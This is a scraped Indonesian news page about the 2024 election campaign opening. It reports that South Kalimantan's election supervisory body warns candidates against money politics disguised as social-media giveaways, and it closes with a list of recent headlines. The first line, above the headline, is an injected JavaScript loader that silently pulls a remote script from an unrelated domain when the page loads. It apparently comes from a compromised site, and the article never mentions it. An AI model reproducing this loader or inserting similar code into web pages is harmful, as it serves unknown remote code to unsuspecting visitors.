(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Kampanye Dimulai, Politik Uang di Medsos Bermodus Give Away


KANALKALIMANTAN.COM, BANJARMASIN – Masa kampanye Pemilihan Umum (Pemilu) serentak tahun 2024 resmi dimulai Selasa (28/11/2023).

Selama 75 hari kedepan, calon legislatif DPR, DPD, DPRD maupun calon Presiden dan Wakil Presiden diperbolehkan untuk menyampaikan visi misi, serta citra diri kepada masyarakat.

Jenis alternatif kampanye yang dapat dipilih peserta Pemilu 2024 beragam, mulai dari pertemuan terbatas, pertemuan terbuka, penyebaran bahan kampanye kepada umum, pemasangan alat peraga kampanye (APK) di tempat umum, iklan media massa, kampanye rapat umum, hingga kampanye di media sosial (medsos).

Khusus untuk capres dan cawapres, KPU akan memfasilitasi debat kampanye.

Baca juga: Explore Karts South Borneo II MPAF di Gua Baramban, Eksotisme Kawasan Karts yang Terhimpit Konsesi Tambang  

Berbiaya murah dan jangkauan luas, jenis kampanye di medsos diprediksi bakal lebih banyak diminati oleh kontestan Pemilu 2024.

Oleh karena itu, Badan Pengawas Pemilu (Bawaslu) Provinsi Kalimantan Selatan (Kalsel) menjadikan kampanye di medsos jadi salah satu yang turut diawasi.

Ketua Bawaslu Kalsel Aries Mardiono mewanti-wanti kontestan Pemilu yang akan memanfaatkan medsos sebagai media kampanye.

Ditegaskannya, kampanye di medsos harus memperhatikan aturan. Ia mengimbau agar kampanye tidak melanggar pasal 280 ayat 1 Undang-Undang Pemilu. Dimana diatur peserta Pemilu dilarang melakukan ujaran kebencian, fitnah, isu sara, maupun politik uang.

Baca juga: Tok! Ongkos Naik Haji 2024 Rp93 Juta, Jemaah Bayar Rp56 Juta

“Karena di medsos juga bisa terjadi politik uang, mengingat ada pola give away dan segala macam, itu tidak boleh,” kata Aries disela apel siaga pengawasan di Banjarmasin, Senin (27/11/2023).

Sesuai aturan, Aries mengatakan peserta Pemilu hanya diperbolehkan memberikan bahan kampanye kepada pemilih yang nilainya tidak lebih dari Rp100 ribu.

“Bahan kampanye itu sudah diatur dalam PKPU Nomor 15 Tahun 2023,” ujar Aries.

Masih kata Ketua Bawaslu Kalsel, pihaknya tidak segan-segan untuk melakukan tindakan terhadap pelanggaran yang dilakukan peserta Pemilu, baik yang berasal dari laporan masyarakat ataupun dari temuan pengawas Pemilu.

Baca juga: Bawaslu Kalsel Sebut di Medsos Paling Rawan Pelanggaran Kampanye

“Tidak tebang pilih, jadi kalau ada yang melanggar tentu kami akan tindak,” tegasnya. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Risa

Recent Posts

Kunker DPRD Kapuas Perkaya Referensi Raperda Bangunan Gedung

KANALKALIMANTAN.COM, KUALA KAPUAS – Panitia Khusus (Pansus) I Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas… Read More

51 menit ago

Haul Dua Wali Allah di Cempaka yang Sangat Dermawan dan Hidup Sederhana

KANALKALIMANTAN.COM, BANJARBARU - Haul Syarifah Badrun Al Qadiri Al Hasani bin Sayyid Yusuf Al-Qadiri Al-Hasani… Read More

3 jam ago

Peringati Hari Buruh, PLN Tebar Kebaikan untuk Petugas Kebersihan Kebun Raya Banua

KANALKALIMANTAN.COM, BANJARBARU - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

4 jam ago

Jhonny Iskandar Meninggal Dunia, Ini Profil Pelantun “Bukan Pengemis Cinta”

KANALKALIMANTAN.COM - Penyanyi senior Jhonny Iskandar meninggal dunia hari ini, Jumat (10/5/2024). Eks personel Orkes… Read More

7 jam ago

TMMD di Desa Sungai Karias Bangun Ulang Rumah Tak Layak Huni

KANALKALIMANTAN.COM, AMUNTAI – Membangun ulang Rumah Tidak Layak Huni (RTLH) menjadi layak huni menjadi salah… Read More

7 jam ago

Lepas Atlet ke Popda Kalsel, Ini Kata Ketua DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Target juara umum kontingen Kota Banjarbaru dalam ajang Pekan Olahraga Pelajar Daerah… Read More

7 jam ago

This website uses cookies.